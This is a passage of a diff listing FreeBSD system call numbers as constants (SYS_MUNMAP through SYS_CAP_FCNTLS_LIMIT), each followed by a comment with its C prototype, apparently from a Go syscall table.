-+ SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-+ SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
-+ SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_GETPGRP = 81 // { int getpgrp(void); }
-+ SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-+ SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_SWAPON = 85 // { int swapon(char *name); }
-+ SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
-+ SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-+ SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-+ SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-+ SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_FSYNC = 95 // { int fsync(int fd); }
-+ SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
-+ SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
-+ SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
-+ SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-+ SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
-+ SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
-+ SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-+ SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
-+ SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
-+ SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
-+ SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-+ SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-+ SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-+ SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-+ SYS_RENAME = 128 // { int rename(char *from, char *to); }
-+ SYS_FLOCK = 131 // { int flock(int fd, int how); }
-+ SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-+ SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
-+ SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-+ SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
-+ SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-+ SYS_RMDIR = 137 // { int rmdir(char *path); }
-+ SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
-+ SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
-+ SYS_SETSID = 147 // { int setsid(void); }
-+ SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
-+ SYS_NLM_SYSCALL = 154 // { int nlm_syscall(int debug_level, int grace_period, int addr_count, char **addrs); }
-+ SYS_NFSSVC = 155 // { int nfssvc(int flag, caddr_t argp); }
-+ SYS_LGETFH = 160 // { int lgetfh(char *fname, struct fhandle *fhp); }
-+ SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
-+ SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-+ SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
-+ SYS_SEMSYS = 169 // { int semsys(int which, int a2, int a3, int a4, int a5); }
-+ SYS_MSGSYS = 170 // { int msgsys(int which, int a2, int a3, int a4, int a5, int a6); }
-+ SYS_SHMSYS = 171 // { int shmsys(int which, int a2, int a3, int a4); }
-+ SYS_SETFIB = 175 // { int setfib(int fibnum); }
-+ SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-+ SYS_SETGID = 181 // { int setgid(gid_t gid); }
-+ SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-+ SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-+ SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-+ SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-+ SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-+ SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-+ SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-+ SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
-+ SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
-+ SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
-+ SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
-+ SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-+ SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-+ SYS_UNDELETE = 205 // { int undelete(char *path); }
-+ SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-+ SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-+ SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
-+ SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
-+ SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { int shmat(int shmid, const void *shmaddr, int shmflg); }
-+ SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
-+ SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
-+ SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 233 // { int clock_settime( clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
-+ SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, struct sigevent *evp, int *timerid); }
-+ SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-+ SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, const struct itimerspec *value, struct itimerspec *ovalue); }
-+ SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct itimerspec *value); }
-+ SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-+ SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-+ SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( struct ffclock_estimate *cest); }
-+ SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( struct ffclock_estimate *cest); }
-+ SYS_CLOCK_NANOSLEEP = 244 // { int clock_nanosleep(clockid_t clock_id, int flags, const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,int which, clockid_t *clock_id); }
-+ SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-+ SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
-+ SYS_RFORK = 251 // { int rfork(int flags); }
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_ISSETUGID = 253 // { int issetugid(void); }
-+ SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-+ SYS_AIO_READ = 255 // { int aio_read(struct aiocb *aiocbp); }
-+ SYS_AIO_WRITE = 256 // { int aio_write(struct aiocb *aiocbp); }
-+ SYS_LIO_LISTIO = 257 // { int lio_listio(int mode, struct aiocb * const *acb_list, int nent, struct sigevent *sig); }
-+ SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, size_t count); }
-+ SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-+ SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
-+ SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-+ SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-+ SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-+ SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
-+ SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-+ SYS_MODNEXT = 300 // { int modnext(int modid); }
-+ SYS_MODSTAT = 301 // { int modstat(int modid, struct module_stat *stat); }
-+ SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-+ SYS_MODFIND = 303 // { int modfind(const char *name); }
-+ SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-+ SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-+ SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-+ SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-+ SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct kld_file_stat* stat); }
-+ SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-+ SYS_GETSID = 310 // { int getsid(pid_t pid); }
-+ SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_AIO_RETURN = 314 // { ssize_t aio_return(struct aiocb *aiocbp); }
-+ SYS_AIO_SUSPEND = 315 // { int aio_suspend( struct aiocb * const * aiocbp, int nent, const struct timespec *timeout); }
-+ SYS_AIO_CANCEL = 316 // { int aio_cancel(int fd, struct aiocb *aiocbp); }
-+ SYS_AIO_ERROR = 317 // { int aio_error(struct aiocb *aiocbp); }
-+ SYS_YIELD = 321 // { int yield(void); }
-+ SYS_MLOCKALL = 324 // { int mlockall(int how); }
-+ SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-+ SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-+ SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, const struct sched_param *param); }
-+ SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct sched_param *param); }
-+ SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int policy, const struct sched_param *param); }
-+ SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-+ SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-+ SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-+ SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-+ SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, struct timespec *interval); }
-+ SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-+ SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
-+ SYS_JAIL = 338 // { int jail(struct jail *jail); }
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
-+ SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-+ SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
-+ SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
-+ SYS_AIO_WAITCOMPLETE = 359 // { ssize_t aio_waitcomplete( struct aiocb **aiocbp, struct timespec *timeout); }
-+ SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_KQUEUE = 362 // { int kqueue(void); }
-+ SYS_KEVENT = 363 // { int kevent(int fd, struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
-+ SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
-+ SYS___SETUGID = 374 // { int __setugid(int flag); }
-+ SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-+ SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-+ SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-+ SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, struct mac *mac_p); }
-+ SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
-+ SYS_LCHFLAGS = 391 // { int lchflags(const char *path, u_long flags); }
-+ SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
-+ SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, int call, void *arg); }
-+ SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, long bufsize, int mode); }
-+ SYS_STATFS = 396 // { int statfs(char *path, struct statfs *buf); }
-+ SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-+ SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
-+ SYS_KSEM_CLOSE = 400 // { int ksem_close(semid_t id); }
-+ SYS_KSEM_POST = 401 // { int ksem_post(semid_t id); }
-+ SYS_KSEM_WAIT = 402 // { int ksem_wait(semid_t id); }
-+ SYS_KSEM_TRYWAIT = 403 // { int ksem_trywait(semid_t id); }
-+ SYS_KSEM_INIT = 404 // { int ksem_init(semid_t *idp, unsigned int value); }
-+ SYS_KSEM_OPEN = 405 // { int ksem_open(semid_t *idp, const char *name, int oflag, mode_t mode, unsigned int value); }
-+ SYS_KSEM_UNLINK = 406 // { int ksem_unlink(const char *name); }
-+ SYS_KSEM_GETVALUE = 407 // { int ksem_getvalue(semid_t id, int *val); }
-+ SYS_KSEM_DESTROY = 408 // { int ksem_destroy(semid_t id); }
-+ SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, struct mac *mac_p); }
-+ SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, struct mac *mac_p); }
-+ SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( const char *path, int attrnamespace, const char *attrname); }
-+ SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, char **envv, struct mac *mac_p); }
-+ SYS_SIGACTION = 416 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
-+ SYS_SIGRETURN = 417 // { int sigreturn( const struct __ucontext *sigcntxp); }
-+ SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-+ SYS_SETCONTEXT = 422 // { int setcontext( const struct __ucontext *ucp); }
-+ SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, const struct __ucontext *ucp); }
-+ SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-+ SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, int *sig); }
-+ SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, int flags); }
-+ SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-+ SYS_THR_SELF = 432 // { int thr_self(long *id); }
-+ SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-+ SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-+ SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_KSEM_TIMEDWAIT = 441 // { int ksem_timedwait(semid_t id, const struct timespec *abstime); }
-+ SYS_THR_SUSPEND = 442 // { int thr_suspend( const struct timespec *timeout); }
-+ SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-+ SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-+ SYS_AUDIT = 445 // { int audit(const void *record, u_int length); }
-+ SYS_AUDITON = 446 // { int auditon(int cmd, void *data, u_int length); }
-+ SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-+ SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-+ SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-+ SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-+ SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-+ SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, u_long val, void *uaddr1, void *uaddr2); }
-+ SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, int param_size); }
-+ SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-+ SYS_KMQ_OPEN = 457 // { int kmq_open(const char *path, int flags, mode_t mode, const struct mq_attr *attr); }
-+ SYS_KMQ_SETATTR = 458 // { int kmq_setattr(int mqd, const struct mq_attr *attr, struct mq_attr *oattr); }
-+ SYS_KMQ_TIMEDRECEIVE = 459 // { int kmq_timedreceive(int mqd, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
-+ SYS_KMQ_TIMEDSEND = 460 // { int kmq_timedsend(int mqd, const char *msg_ptr, size_t msg_len,unsigned msg_prio, const struct timespec *abs_timeout);}
-+ SYS_KMQ_NOTIFY = 461 // { int kmq_notify(int mqd, const struct sigevent *sigev); }
-+ SYS_KMQ_UNLINK = 462 // { int kmq_unlink(const char *path); }
-+ SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-+ SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-+ SYS_AIO_FSYNC = 465 // { int aio_fsync(int op, struct aiocb *aiocbp); }
-+ SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, lwpid_t lwpid, struct rtprio *rtp); }
-+ SYS_SCTP_PEELOFF = 471 // { int sctp_peeloff(int sd, uint32_t name); }
-+ SYS_SCTP_GENERIC_SENDMSG = 472 // { int sctp_generic_sendmsg(int sd, caddr_t msg, int mlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_SENDMSG_IOV = 473 // { int sctp_generic_sendmsg_iov(int sd, struct iovec *iov, int iovlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_RECVMSG = 474 // { int sctp_generic_recvmsg(int sd, struct iovec *iov, int iovlen, struct sockaddr * from, __socklen_t *fromlenaddr, struct sctp_sndrcvinfo *sinfo, int *msg_flags); }
-+ SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, size_t nbyte, off_t offset); }
-+ SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset); }
-+ SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos); }
-+ SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, int whence); }
-+ SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-+ SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-+ SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-+ SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, mode_t mode); }
-+ SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-+ SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-+ SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, cpusetid_t setid); }
-+ SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, cpuwhich_t which, id_t id, cpusetid_t *setid); }
-+ SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, cpuset_t *mask); }
-+ SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, const cpuset_t *mask); }
-+ SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, char **envv); }
-+ SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, struct stat *buf, int flag); }
-+ SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, struct timeval *times); }
-+ SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flag); }
-+ SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-+ SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, mode_t mode); }
-+ SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
-+ SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, char *new); }
-+ SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, char *path2); }
-+ SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-+ SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-+ SYS_GSSD_SYSCALL = 505 // { int gssd_syscall(char *path); }
-+ SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-+ SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-+ SYS___SEMCTL = 510 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_MSGCTL = 511 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
-+ SYS_SHMCTL = 512 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-+ SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-+ SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-+ SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-+ SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-+ SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-+ SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sm); }
-+ SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, size_t namelen); }
-+ SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-+ SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, off_t offset, off_t len); }
-+ SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, off_t len, int advice); }
-+ SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, int *status, int options, struct __wrusage *wrusage, siginfo_t *info); }
-+ SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, const u_long *cmds, size_t ncmds); }
-+ SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, u_long *cmds, size_t maxcmds); }
-+ SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, uint32_t fcntlrights); }
